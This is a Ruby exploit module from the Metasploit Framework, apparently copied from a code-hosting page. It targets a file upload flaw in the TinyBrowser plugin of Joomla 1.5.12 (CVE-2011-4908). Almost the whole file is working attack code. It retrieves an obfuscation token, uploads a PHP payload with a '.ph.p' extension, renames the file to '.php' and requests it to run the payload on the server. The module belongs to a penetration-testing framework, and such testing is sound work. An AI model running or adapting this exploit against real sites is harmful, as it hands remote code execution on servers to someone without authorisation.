185 lines
4.8 KiB
Ruby
185 lines
4.8 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Joomla 1.5.12 TinyBrowser File Upload Code Execution',
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'Description' => %q{
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This module exploits a vulnerability in the TinyMCE/tinybrowser plugin.
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This plugin is not secured in version 1.5.12 of joomla and allows the upload
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of files on the remote server.
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By renaming the uploaded file this vulnerability can be used to upload/execute
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code on the affected system.
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},
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'Author' => [ 'spinbad <spinbad.security[at]googlemail.com>' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2011-4908'],
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['OSVDB', '64578'],
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['EDB', '9296'],
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['URL', 'http://developer.joomla.org/security/news/301-20090722-core-file-upload.html'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Compat' =>
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{
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'ConnectionType' => 'find',
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},
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'Space' => 1024,
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},
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Jul 22 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI', [true, "Joomla directory path", "/"]),
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], self.class)
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end
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def check
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uri = ''
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uri << datastore['URI']
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uri << '/' if uri[-1,1] != '/'
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uri << 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder='
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res = send_request_raw(
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{
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'uri' => uri
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}, 25)
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if (res and res.body =~ /flexupload.swf/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def retrieve_obfuscation()
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end
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def exploit
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cmd_php = '<?php ' + payload.encoded + '?>'
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# Generate some random strings
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cmdscript = rand_text_alpha_lower(20)
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boundary = rand_text_alphanumeric(6)
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# Static files
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directory = '/images/stories/'
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uri_base = ''
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uri_base << datastore['URI']
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uri_base << '/' if uri_base[-1,1] != '/'
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uri_base << 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser'
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# Get obfuscation code (needed to upload files)
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obfuscation_code = nil
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res = send_request_raw({
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'uri' => uri_base + '/upload.php?type=file&folder='
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}, 25)
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if (res)
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if(res.body =~ /"obfus", "((\w)+)"\)/)
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obfuscation_code = $1
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print_status("Successfully retrieved obfuscation code: #{obfuscation_code}")
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else
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print_error("Error retrieving obfuscation code!")
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return
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end
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end
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# Upload shellcode (file ending .ph.p)
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data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"
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data << "#{cmdscript}.ph.p\r\n--#{boundary}"
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data << "\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"#{cmdscript}.ph.p\"\r\n"
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data << "Content-Type: application/octet-stream\r\n\r\n"
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data << cmd_php
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data << "\r\n--#{boundary}--"
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res = send_request_raw({
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'uri' => uri_base + "/upload_file.php?folder=" + directory + "&type=file&feid=&obfuscate=#{obfuscation_code}&sessidpass=",
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'method' => 'POST',
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'data' => data,
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'headers' =>
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{
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'Content-Length' => data.length,
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'Content-Type' => 'multipart/form-data; boundary=' + boundary,
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}
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}, 25)
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if (res and res.body =~ /File Upload Success/)
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print_status("Successfully uploaded #{cmdscript}.ph.p")
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else
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print_error("Error uploading #{cmdscript}.ph.p")
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end
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# Complete the upload process (rename file)
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print_status("Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p")
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res = send_request_raw({
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'uri' => uri_base + '/upload_process.php?folder=' + directory + '&type=file&feid=&filetotal=1'
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})
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# Rename the file from .ph.p to .php
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res = send_request_cgi(
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{
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'method' => 'POST',
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'uri' => uri_base + '/edit.php?type=file&folder=',
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'vars_post' =>
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{
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'actionfile[0]' => "#{cmdscript}.ph.p",
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'renameext[0]' => 'p',
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'renamefile[0]' => "#{cmdscript}.ph",
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'sortby' => 'name',
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'sorttype' => 'asc',
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'showpage' => '0',
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'action' => 'rename',
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'commit' => '',
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}
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}, 10)
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if (res and res.body =~ /successfully renamed./)
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print_status ("Renamed #{cmdscript}.ph.p to #{cmdscript}.php")
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else
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print_error("Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php")
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end
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# Finally call the payload
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print_status("Calling payload: #{cmdscript}.php")
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uri = ''
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uri << datastore['URI']
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uri << '/' if uri[-1,1] != '/'
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uri << directory + cmdscript + ".php"
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res = send_request_raw({
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'uri' => uri
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}, 25)
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end
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end
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